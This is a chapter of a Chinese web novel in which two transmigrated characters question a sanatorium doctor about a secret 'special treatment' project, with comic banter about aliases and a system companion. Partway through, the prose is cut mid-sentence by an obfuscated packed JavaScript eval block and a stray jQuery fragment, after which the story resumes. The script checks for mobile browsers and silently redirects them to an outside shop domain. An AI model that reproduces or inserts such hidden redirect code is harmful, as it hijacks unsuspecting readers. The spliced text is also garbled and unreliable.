王国义的话虚虚实实。
不过,与他一番交流下来,倒是有一点可以肯定。
江颜夕的死,与小楼失火和张娅的失踪密不可分。
江颜夕肯定知道病患失踪的内情。
夏疏把事情给宋之屹一交代,宋之屹立马想到一个人,说是这个人可能会知道“特殊治疗”是什么,于是便领着她前往疗养院办公楼。
当刘定带着他那张万年不变冰封脸朝着两人走来时,夏疏相当炸裂地看向宋之屹,带着一幅“excuseme?”狗子惊讶脸。
她眼珠子转向刘定,转而又回到宋之屹身上,食指指了指他后弯成一个勾,意思是:你怎么搞定这个冰块的。
宋之屹低头看她,挑了挑眉,嘴角微微翘起,没回答她,迎上去两步跟刘定熟络地打了招呼。
那模样,说两人是至交好友都不为过。
才四天吧?
他们穿来不过才四天吧?
四天发展一个下线,宋之屹你怎么做到的?狐狸精变的吗?!
刘定看到宋之屹背后的夏疏,扶了扶眼镜框,瞬间变回那个跟谁都不太熟的刘医生:“李护工?你怎么在这里,你的工位好像不在这儿吧?”
“李护工?”宋之屹抱臂转向夏疏,歪着头,故意加重了那个“李”字。
夏疏硬着头皮,信口胡诌:“小人鄙姓李,单名一个华字。”
刘定没留神到两人之间的电光火石,以东道主的身份不客气地卡进C位:“介绍一下,这是李华,是我们新聘的护工。”
他又跟夏疏介绍宋之屹:“李华,这是张明,院里聘请的高级医师,驻院专家,杰出青年。”
救命,刘医生这个开场跟英语教科书扉页“mom,thisismyteacher.Teacher,thisismymom.”的句法学习有什么区别?
她只是取了个英语课程明星人物的代称,老天爷你大可不必这么配合。
还有……
张明?
夏疏眯起眼睛,目光狐疑地去看宋之屹。
如果她没记错的话——
这是一个多么令人熟悉而反感的名字!
她仿佛一键梦回初高中的夏天,数学作业题中刷一道一个张明。
问题一:“张明和李华分别从甲、乙两地同时相向而行……问甲乙两地相距多少米?”
问题二:“张明的数学与语文的平均分是94分……求出他的数学是多少分?”
问题三:“张明4小时清点一批图书的一半,李华加入清点另一半图书的工作……如果张明单独清点这批图书需要几小时?”
……
嘶——
好令人头疼的名字!
脑子突然发痒,感觉要长知识了。
夏疏使劲晃了晃脑袋,仿佛听到水花在里面晃荡的声音。
宋之屹将她的动作尽收眼底,意味不明地哂笑出声。
刘定后知后觉看出两人的猫腻,问道:“你们认识?”
“嗯,算得上认识吧。”宋之屹慢条斯理地回答他,“我帮她代笔过书信,不过不太熟——你说是吧,李护工?”
谁说不是呢。
只要接受过九年义务教育的当代青年,都在考场上帮神人李华写过英语作文,包括且不限于书信、演讲稿、请假条……
夏疏首肯:“是这样子没错,张医师再正确不过了。”
英语人李华跟数学人张明默契达成一致。
“刘医生,我听说云江谷有种‘特殊治疗’方式,我想可能会对我的课题研究有帮助,麻烦你展开说说。”宋之屹开门见山。
“‘特殊治疗’……”刘定目光闪烁,手拖着下巴,“我们院里确实有一个取名为‘特殊治疗’的项目,不过这属于保密项目,由院长亲自主持,具体事项仅有院里的高层清楚。”
宋之屹道:“治疗效果如何呢?有没有相关数据统计?”
“结果也没对外公开过,大概还是处在研发试验阶段,这个项目带走的病患前前后后有二十余个,被带走的人一直没回来,说是还在实验中。”
“它的项目资料保存在办公楼顶层,你如果真的感兴趣,或许可以去那里翻阅资料。不过要想进入顶层,前提是你必须先加入这个项目。”
夏疏给宋之屹递了个眼色,宋之屹接收到她的信号,接着问:“前两天,病房楼A-301室半夜消失的病患是被选去‘特殊治疗’了吗?”
刘定摇头:“这个真不清楚,你说的这个情况,的确像他们项目组的做法。”
从他这里没再套出什么新信息,宋之屹跟刘定寒暄几句,道了声谢。
夏疏在脑中跟脑花吐槽:“你看宋学长这样的要是被选做宿主,是不是只用勾勾指头,哪怕是根脚趾头,攻略对象就能乖乖过来。”
脑花看了眼她的一头鸡窝,再看了眼清清爽爽的宋之屹,止不住点头:【确实不在一个道行上,天赋不可比。】
虽然是明知故问,听到答案后夏疏的玻璃心仍是有被刺痛。
她捂住心脏,像是被中伤般虚弱无力地靠在墙边,哀怨的叹了口气。
真是的,人比人气死个人了。
“也不知道宋学长的效力在女鬼身上适不适用。你说,我的任务能转移到他身上吗?”
要是宋学长去勾引红衣女鬼,那胜算可比她大多了。
【宿主小姐,这样是违规的。请你尊重一下小人,失效任务太多,小人是会被扣分的
。】
【奋斗吧,宿主小姐,人生没有捷径,引诱她,讨好她,赢取她的芳心,让她爱你爱得发痴发狂欲罢不能,从此升职加薪走上人生巅峰!】
眼下这个情况,不是走上人生巅峰,是一脚迈进人生终点吧……
夏疏林黛玉式扶墙,做痛心疾首状,低声哼唱着:“他说——风雨中——这点痛算什么——擦干泪——不要怕——至少我们还有梦……”
她45°仰望天空,独自沉浸在自己的悲伤故事中,忽然听到一声低笑。
她一脸懵,问脑花:“你在笑我?我唱得很好笑么?”
岂止是难听啊,简直是跑调跑到了九曲十八弯呀!
——脑花一副吃了翔的表情,但又要顾及到宿主的感受,咬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306453|140289||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着舌勉强微笑:【还行,当然不好笑……就是有那么一丢丢跑调。】
【啊,还有那个……我可没有在笑哦,我好像听到是宿主小姐的学长在笑。】
宋之屹?
宋之屹在笑什么。
宋之屹背对着夏疏,还在与刘定谈话。
刘定表情严肃,不像刚开过玩笑的样子。
那宋之屹在笑什么?
该不会……他能听到她跟脑花的对话吧?
夏疏当场石化掉。
脑花说,她刚才唱歌有一丢丢跑调……
一丢丢跑调……
跑调……
宋之屹……是在笑她唱歌跑调?!!
夏疏几欲呕出血来。
老天奶,快来救救她的形象吧,她裂得稀碎的形象不能再裂了。
她刚刚只是像疏解一下心情,谁能想到被宋之屹听了墙角啊!
脑花注意到快要碎掉的夏疏,当即领会她误会了些什么,解释:【不会的宿主小姐,像你这样能听到穿越者心声的万里挑一,宋学长他都看不见我,是不可能听到我们的对话的。】
“真的?”夏疏破碎的心情稍有好转。
【千真万确。】
芜湖~
夏疏满血复活。
她摸着下巴,追究起脑花说她唱歌难听一事:“不应该呀,我老爹很喜欢听我唱歌,我的水平应该不赖吧。不过这是首男歌手的歌,音比较低,我们女生比较难唱,可能有点不合适我。”
她把比较熟悉的歌过了一遍,再次肯定了自己的唱歌水平。
直到一个凉凉的东西冰了一下她的手背。
“在想什么呢,走了。”宋之屹不知什么时候送走了刘定,递给她一瓶已经拧开的饮料:“喝吧,解渴,不太冰。”
夏疏小呡一口,水的温度刚刚好,清凉但不冻嘴,还是她最喜欢喝的椰汁类饮料。
她装作漫不经心问道:“你刚才没听到什么声音吧?”
“什么声音?”宋之屹翘着嘴角,心情颇好的样子,随手把另一瓶饮料拧开,灌下一大口。
夏疏站在他右手边,比他矮上一大截,只能逆着阳光看到他上下滚动的喉结,跟棱角分明的下颌骨相连,形成一条凌厉的山峰线。
“像是……像是……有人唱歌的声音……好像还跑调了,不太好听。”
夏疏本来理直气壮的,但她总感觉宋之屹的笑里带着些不怀好意,心虚地眼神飘忽。
“嗯——倒是有。”宋之屹的嗓音带着磁性,拖长的尾音听上去酥酥的。
夏疏心里一个咯噔,整个人像泄气的皮球一样瘪下去。
——他果然听到了。
她垂着头,懊恼地用脚尖扒拉路边的一块小石头。
宋之屹斜眼睨着她头顶竖起来的两三根呆毛,劲劲儿的,看上去野蛮生长但生机勃勃的样子,像地里的狗尾巴草。
小姑娘肩膀上的粉色脑花皱巴巴的,晒着太阳一脸舒适,跟它的宿主一样傻里傻气。
他手插进白大褂的口袋,姿态轻慢:“刚才有位患者在唱戏腔,好刺耳啊,你说的是这个吗?”